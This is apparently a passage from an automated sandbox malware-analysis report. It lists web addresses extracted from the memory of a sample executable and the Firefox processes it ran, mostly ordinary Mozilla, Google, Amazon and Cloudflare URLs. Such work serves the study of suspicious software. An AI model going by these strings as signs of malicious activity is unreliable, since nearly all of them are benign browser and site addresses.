Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001B.00000003.2281210409.000001BAAFB47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000001B.00000003.2281210409.000001BAAFB47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001B.00000002.2458125549.000001BAB15D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2420769277.000001BAAE844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001B.00000002.2432375917.000001BAAF7CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/connection-not-secure
Source: firefox.exe, 0000001B.00000003.2260813134.000001BAB7282000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F46000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2481037928.000001BAB7282000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2AA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 805c374e44.exe, 0000000C.00000003.2134487280.00000000058E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2443474661.000001BAAFDE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 0000001B.00000002.2466904984.000001BAB1764000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001B.00000002.2470374731.000001BAB2265000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: 805c374e44.exe, 0000000C.00000003.2134487280.00000000058E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001B.00000002.2496157306.000001BAB77D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2443474661.000001BAAFDE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: firefox.exe, 0000001B.00000003.2248606223.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2255742889.000001BAB7340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB7342000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB7338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001B.00000002.2390476248.000001BA9F003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC046000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD5B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001B.00000002.2501986396.000005E7CE604000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000001B.00000002.2432375917.000001BAAF73E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC07C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2441868523.000001BAAFCF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F46000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2485314442.000001BAB7493000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC046000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2472639943.000001BAB25A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2478214034.000001BAB7053000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2437154355.000001BAAF91A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB224000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2479697799.000001BAB715B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2426918174.000001BAAEE5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2367695365.0000000388C04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2426918174.000001BAAEE47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001B.00000003.2248606223.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2255742889.000001BAB7340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2247969630.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB7342000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB7338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2459823995.000001BAB1625000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000001B.00000002.2459823995.000001BAB1625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 0000001B.00000002.2472639943.000001BAB25E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 0000001B.00000002.2432375917.000001BAAF73E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2459823995.000001BAB1625000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2504887224.00002B1706A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F46000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2485314442.000001BAB7493000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2472639943.000001BAB25A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2367695365.0000000388C04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2478214034.000001BAB7053000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2437154355.000001BAAF91A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 805c374e44.exe, 0000000C.00000003.2147821946.00000000055D3000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2148362458.00000000055DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC060000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2396386534.000001BAAA8AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2370384899.000001C8AA9CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2369541245.000001A3BBFF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB060A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2202413243.000001BAAEB1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203401934.000001BAAEB57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2200219175.000001BAAE900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203752938.000001BAAEB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB060B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2202906065.000001BAAEB3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB246000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2419808872.000001BAAE670000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001B.00000002.2459823995.000001BAB1625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 0000001B.00000002.2459823995.000001BAB1625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 0000001B.00000002.2472639943.000001BAB25E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2478214034.000001BAB7053000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001B.00000002.2472639943.000001BAB25E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: file.exe, 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1650084679.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1539768286.0000000001200000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1630876970.00000000011FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1557042089.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085749906.0000000000DAC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086923116.0000000000D68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: 805c374e44.exe, 0000000C.00000003.2086923116.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085749906.0000000000DAC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085894696.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/acc
Source: file.exe, 00000000.00000003.1539768286.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086923116.0000000000D68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2478214034.000001BAB7053000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 0000001B.00000002.2459823995.000001BAB1625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: file.exe, 00000000.00000003.1558125060.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102085327.0000000005604000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102742063.0000000005601000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102196722.0000000005601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 805c374e44.exe, 0000000C.00000003.2087080774.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2367695365.0000000388C04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2426918174.000001BAAEE47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2478214034.000001BAB7053000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001B.00000003.2264104949.000001BAB71D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2479697799.000001BAB71D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000001B.00000003.2248154372.000001BAB73CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2496157306.000001BAB7762000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001B.00000003.2202413243.000001BAAEB1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203401934.000001BAAEB57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2200219175.000001BAAE900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203752938.000001BAAEB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD5A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2202906065.000001BAAEB3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2419808872.000001BAAE670000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.1558125060.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102085327.0000000005604000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102742063.0000000005601000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2102196722.0000000005601000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 805c374e44.exe, 0000000C.00000003.2087080774.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: firefox.exe, 0000001B.00000002.2459823995.000001BAB1625000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2202413243.000001BAAEB1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203401934.000001BAAEB57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2200219175.000001BAAE900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203752938.000001BAAEB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB060B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2202906065.000001BAAEB3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2496157306.000001BAB7762000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2433567468.000001BAAF842000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB246000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2437154355.000001BAAF91A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2419808872.000001BAAE670000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD5B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001B.00000002.2426918174.000001BAAEE80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
